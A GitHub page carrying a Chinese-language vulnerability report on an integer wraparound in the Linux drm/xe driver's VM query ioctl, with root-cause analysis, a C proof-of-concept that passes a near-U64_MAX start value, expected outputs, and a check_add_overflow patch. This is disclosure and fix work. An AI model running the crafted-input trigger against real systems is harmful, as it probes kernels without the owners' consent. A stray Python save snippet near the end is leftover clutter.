poxsky/CVE-2026-XXXXX-Integer-Wraparound-in-Linux-Kernel-drm-xe-VM-Query-Pat
GitHub: poxsky/CVE-2026-XXXXX-Integer-Wraparound-in-Linux-Kernel-drm-xe-VM-Query-Pat
该项目是一份关于 Linux 内核 drm/xe 驱动 VM 查询路径中整数回绕漏洞的完整安全研究报告,包含根因分析、PoC 代码和修复补丁。
Stars: 0 | Forks: 0
** CVE-2026-XXXXX: Linux 内核 drm/xe VM 查询路径中的整数回绕 **
## 目录
- [执行摘要](#executive-summary)
- [受影响版本](#affected-versions)
- [受影响代码](#affected-code)
- [根本原因分析](#root-cause-analysis)
- [影响评估](#impact-assessment)
- [概念验证](#proof-of-concept)
- [复现步骤](#reproduction-steps)
- [修复建议](#recommended-fix)
- [补丁](#patch)
- [披露时间线](#disclosure-timeline)
- [致谢](#credits)
- [参考资料](#references)
## 执行摘要
Linux 内核的 **Intel Xe DRM 驱动程序** (`drm/xe`) 中存在一个整数回绕漏洞。`DRM_IOCTL_XE_VM_QUERY_MEM_RANGE_ATTRS` ioctl 在计算 `args->start + args->range` 时,将其作为无符号 64 位整数求和,**没有进行溢出验证**。当本地用户提供接近 `U64_MAX` 的 `start` 值和非零的 `range` 时,它们的和会回绕为一个较小的值,导致内核将一个反转的范围传递给 `drm_gpuvm_for_each_va_range()`。这会导致返回错误的 VMA 查询结果,而不是返回 `-EINVAL`。
## 受影响版本
| 内核版本 | 状态 |
|----------------|--------|
| Linux >= 6.12 | **存在漏洞**(自引入 `DRM_IOCTL_XE_VM_QUERY_MEM_RANGE_ATTRS` 起) |
| linux.git master (torvalds/linux, 2026 年 7 月) | **确认存在漏洞** |
## 受影响代码
**文件:** `drivers/gpu/drm/xe/xe_vm.c`
**存在漏洞的函数:**
- `xe_vm_query_vmas_attrs_ioctl()` — ioctl 处理程序
- `xe_vm_query_vmas()` — 静态辅助函数
- `get_mem_attrs()` — 静态辅助函数
### 存在漏洞的代码片段
```
int xe_vm_query_vmas_attrs_ioctl(struct drm_device *dev, void *data, struct drm_file *file)
{
struct drm_xe_vm_query_mem_range_attr *args = data;
...
if (args->num_mem_ranges == 0 && !attrs_user) {
args->num_mem_ranges = xe_vm_query_vmas(vm, args->start,
args->start + args->range);
args->sizeof_mem_range_attr = sizeof(struct drm_xe_mem_range_attr);
goto unlock_vm;
}
...
err = get_mem_attrs(vm, &args->num_mem_ranges, args->start,
args->start + args->range, mem_attrs);
...
}
```
这两处调用在计算 `args->start + args->range` 时,**均未**使用 `check_add_overflow()` 或进行等效验证。
## 根本原因分析
### 漏洞详情
`args->start` 和 `args->range` 均为 `u64` 值,由用户空间通过 ioctl 接口控制。内核盲目地将它们相加:
```
end = start + range // No overflow check!
```
### 回绕发生时的情况
| 输入 | 计算 | 结果 |
|-------|-------------|--------|
| `start = 0xFFFFFFFFFFFFF000` | `start + range` | 回绕为较小的值 |
| `range = 0x2000` | `end = 0x1000` | `end < start` |
当 `end < start` 时,`drm_gpuvm_for_each_va_range()` 会将这个反转的范围视为空,并返回 `0` 个 VMA。ioctl 会返回成功 (`0`) 且 `num_mem_ranges = 0`,而不是以 `-EINVAL` 拒绝这个无效的范围。
### 为什么这很重要
- **逻辑完整性失效:** ioctl 接受并处理了在语义上无效的范围。
- **非特权触发:** 任何有权访问 `/dev/dri/renderD*` 的用户都可以触发此漏洞。
- **缺乏纵深防御:** 在面向用户空间的 ioctl 中,缺少标准的 `check_add_overflow()` 保护。
## 影响评估
| 类别 | 评估 |
|----------|------------|
| **机密性** | 低 — 错误的查询结果可能会泄露某个 VMA 不存在的信息 |
| **完整性** | 中 — 查询结果不正确/在逻辑上无效 |
| **可用性** | 低 — 没有直接的 DoS;分配路径使用 `__GFP_NOWARN` |
| **所需权限** | 低 — 具有渲染节点访问权限的非特权用户 |
| **攻击向量** | 本地 |
| **可利用性** | 容易 — 单次 ioctl 调用并使用精心构造的值即可 |
**CVSS 4.0 评分:** `5.3 (中危)` — 本地,低权限,无需用户交互
## 概念验证
### POC 代码:`poc_xe_query_wraparound.c`
```
/*
* POC: Integer wraparound in drm/xe VM query ioctl
* Compile: gcc -o poc_xe_query_wraparound poc_xe_query_wraparound.c
* Run: ./poc_xe_query_wraparound
* Requires: Intel Xe GPU + /dev/dri/renderD128 access
*/
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#include
int main(void)
{
int fd = open("/dev/dri/renderD128", O_RDWR);
if (fd < 0) {
perror("open /dev/dri/renderD128");
return 1;
}
/* Create a VM */
struct drm_xe_vm_create vm_create = {0};
if (ioctl(fd, DRM_IOCTL_XE_VM_CREATE, &vm_create) < 0) {
perror("DRM_IOCTL_XE_VM_CREATE");
return 1;
}
printf("[+] Created VM id = %u\\n", vm_create.vm_id);
/* Trigger wraparound: start near U64_MAX */
struct drm_xe_vm_query_mem_range_attr args = {0};
args.vm_id = vm_create.vm_id;
args.start = 0xFFFFFFFFFFFFF000ULL; /* Near U64_MAX */
args.range = 0x2000ULL; /* Wraps to 0x1000 */
printf("[+] Sending query with start=0x%016llx range=0x%016llx\\n",
(unsigned long long)args.start, (unsigned long long)args.range);
int ret = ioctl(fd, DRM_IOCTL_XE_VM_QUERY_MEM_RANGE_ATTRS, &args);
printf("[+] ioctl returned: ret=%d, errno=%d (%s)\\n",
ret, errno, strerror(errno));
printf("[+] num_mem_ranges returned: %u\\n", args.num_mem_ranges);
/* Expected buggy behavior: ret=0, num_mem_ranges=0 (should be -EINVAL) */
if (ret == 0 && args.num_mem_ranges == 0) {
printf("[!] BUG CONFIRMED: ioctl accepted invalid wrapped range!\\n");
} else if (ret < 0) {
printf("[+] Range correctly rejected with error\\n");
}
/* Cleanup */
struct drm_xe_vm_destroy destroy = { .vm_id = vm_create.vm_id };
ioctl(fd, DRM_IOCTL_XE_VM_DESTROY, &destroy);
close(fd);
return 0;
}
```
### 预期输出(存在漏洞时)
```
[+] Created VM id = 1
[+] Sending query with start=0xfffffffffffff000 range=0x0000000000002000
[+] ioctl returned: ret=0, errno=0 (Success)
[+] num_mem_ranges returned: 0
[!] BUG CONFIRMED: ioctl accepted invalid wrapped range!
```
### 预期输出(修复后)
```
[+] Created VM id = 1
[+] Sending query with start=0xfffffffffffff000 range=0x0000000000002000
[+] ioctl returned: ret=-1, errno=22 (Invalid argument)
[+] Range correctly rejected with error
```
## 复现步骤
1. **前置条件:**
- Intel Xe GPU (Intel Arc / Meteor Lake / 或更新型号)
- Linux 内核 >= 6.12 且配置了 `CONFIG_DRM_XE=y`
- 用户属于 `video` 或 `render` 组(有权访问 `/dev/dri/renderD*`)
2. **构建 POC:**
gcc -o poc_xe_query_wraparound poc_xe_query_wraparound.c
3. **运行 POC:**
./poc_xe_query_wraparound
4. **验证漏洞:**
- 如果 `ret=0` 且 `num_mem_ranges=0` → **确认存在漏洞**
- 如果 `ret=-1` 且 `errno=EINVAL` → **已经修复**
## 修复建议
在计算结束地址之前添加 `check_add_overflow()`:
```
int xe_vm_query_vmas_attrs_ioctl(struct drm_device *dev, void *data, struct drm_file *file)
{
struct drm_xe_vm_query_mem_range_attr *args = data;
struct xe_device *xe = to_xe_device(dev);
...
u64 end;
if (check_add_overflow(args->start, args->range, &end))
return -EINVAL;
if (args->num_mem_ranges == 0 && !attrs_user) {
args->num_mem_ranges = xe_vm_query_vmas(vm, args->start, end);
args->sizeof_mem_range_attr = sizeof(struct drm_xe_mem_range_attr);
goto unlock_vm;
}
...
err = get_mem_attrs(vm, &args->num_mem_ranges, args->start,
end, mem_attrs);
...
}
```
这是 Linux 内核中用于 ioctl 里 u64 算术运算的标准模式。
## 补丁
```
--- a/drivers/gpu/drm/xe/xe_vm.c
+++ b/drivers/gpu/drm/xe/xe_vm.c
@@ -...,... @@ int xe_vm_query_vmas_attrs_ioctl(struct drm_device *dev, void *data,
struct drm_xe_vm_query_mem_range_attr *args = data;
u64 __user *attrs_user = u64_to_user_ptr(args->vector_of_mem_attr);
struct xe_vm *vm;
+ u64 end;
int err = 0;
if (XE_IOCTL_DBG(xe,
@@ -...,... @@ int xe_vm_query_vmas_attrs_ioctl(struct drm_device *dev, void *data,
if (XE_IOCTL_DBG(xe, !vm))
return -EINVAL;
+ if (check_add_overflow(args->start, args->range, &end))
+ return -EINVAL;
+
err = down_read_interruptible(&vm->lock);
if (err)
goto put_vm;
if (args->num_mem_ranges == 0 && !attrs_user) {
- args->num_mem_ranges = xe_vm_query_vmas(vm, args->start, args->start + args->range);
+ args->num_mem_ranges = xe_vm_query_vmas(vm, args->start, end);
args->sizeof_mem_range_attr = sizeof(struct drm_xe_mem_range_attr);
goto unlock_vm;
}
@@ -...,... @@ int xe_vm_query_vmas_attrs_ioctl(struct drm_device *dev, void *data,
memset(mem_attrs, 0, args->num_mem_ranges * args->sizeof_mem_range_attr);
err = get_mem_attrs(vm, &args->num_mem_ranges, args->start,
- args->start + args->range, mem_attrs);
+ end, mem_attrs);
```
## 披露时间线
| 日期 | 事件 |
|------|-------|
| 2026-07-30 | 发现并分析漏洞 |
| 2026-07-30 | 向 MITRE / Linux 内核安全团队申请 CVE |
| 待定 | 厂商确认 |
| 待定 | 向 dri-devel / intel-xe 邮件列表提交补丁 |
| 待定 | 发布 CVE |
## 致谢
- **发现者:** Saurabh Pal
- **分析协助:** Claude (Anthropic), Kimi (Moonshot AI)
## 参考资料
- [Linux 内核源码 — xe_vm.c](https://github.com/torvalds/linux/blob/master/drivers/gpu/drm/xe/xe_vm.c)
- [Intel Xe 驱动程序文档](https://www.kernel.org/doc/html/latest/gpu/drm-xe.html)
- [Linux 内核 CVE 分配](https://cve.kernel.org/)
- [MITRE CVE 计划](https://www.cve.org/)
## 许可证
本报告及 POC 代码仅用于安全研究和负责任的披露目的。
"""
with open("/mnt/agents/output/README_drm_xe_bug_report.md", "w") as f:
f.write(readme)
print("README saved!")
print(f"Length: {len(readme)} chars")
标签:Intel显卡驱动, Linux内核, 安全渗透, 整数溢出, 漏洞分析, 路径探测